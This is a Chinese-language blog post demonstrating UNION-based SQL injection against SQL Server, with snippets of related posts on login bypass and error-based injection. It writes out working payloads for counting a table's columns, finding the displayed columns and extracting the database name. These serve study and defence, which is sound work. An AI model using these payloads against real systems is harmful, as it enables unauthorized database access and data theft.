SQL SERVER注入原理演示

2022-09-23 23:00:24 字數 1058 閱讀 4713

注入情景在資料庫中的操作情況再現。

遇到注入時

『訊息 206,級別 16,狀態 2,第 9 行

運算元型別衝突: ntext 與 int 不相容』情況時

select * from eims_user where userid='4' and 1=2 

union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19

訊息206,級別16,狀態2,第9 行

運算元型別衝突: ntext 與int 不相容

解決方法是用union all代替union,用null代替數字段數的數字,等出來數目了,再慢慢用數字替換null。

20個null報錯了,

select * from eims_user where userid='4' and 1=1

union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null

select * from eims_user where userid='4' and 1=1

union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null

(但是此時and 1=1時返回的是兩行結果)

19個null時,全部返回正常。因而可以判斷出該表中有19個字段

這時候把and 1=1 換為and 1=2 ,然後將null替換為int型數值,乙個乙個的替換,遇到報錯時,將報錯的那一位換為原來的null,其他的不變。

這樣可得出顯示位

select * from eims_user where userid='4' and 1=2

union all  select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,null,17,18,19

然後其他的操作,待續...

演示SQL注入

以使用者登入案例分析 資料庫資料 使用者登入案例 實現 public class jdbcdemologin else view code 正確的輸入和錯誤輸入的執行結果 看起來並沒有問題,但是當換成另一種輸入時 此時發生了sql注入攻擊,我們列印sql語句會發現 select from users...

sql注入 sqlserver報錯注入

該注入的條件是必須有報錯資訊 用到函式convert int,select top 1 db name 其含義是將第二個引數的值轉換成第乙個引數的int型別 一 開啟檔案,如下圖所示,有報錯資訊 二 檢視資料庫 輸入 and 1 convert int,select top 1 db name 這裡...

SQL注入 sql server

談到sql注入,不得不提它的本質,把使用者的輸入資料當做 來執行。兩個關鍵條件,第乙個是使用者能夠控制的輸入 第二個是程式要執行的 拼接了使用者輸入的資料 按照注入的技術型別可分解為 顯錯注入和盲注入,其中盲注入可分為,聯合查詢注入,堆查詢注入,dns查詢注入,報錯注入,延時注入和布林注入。這篇文章...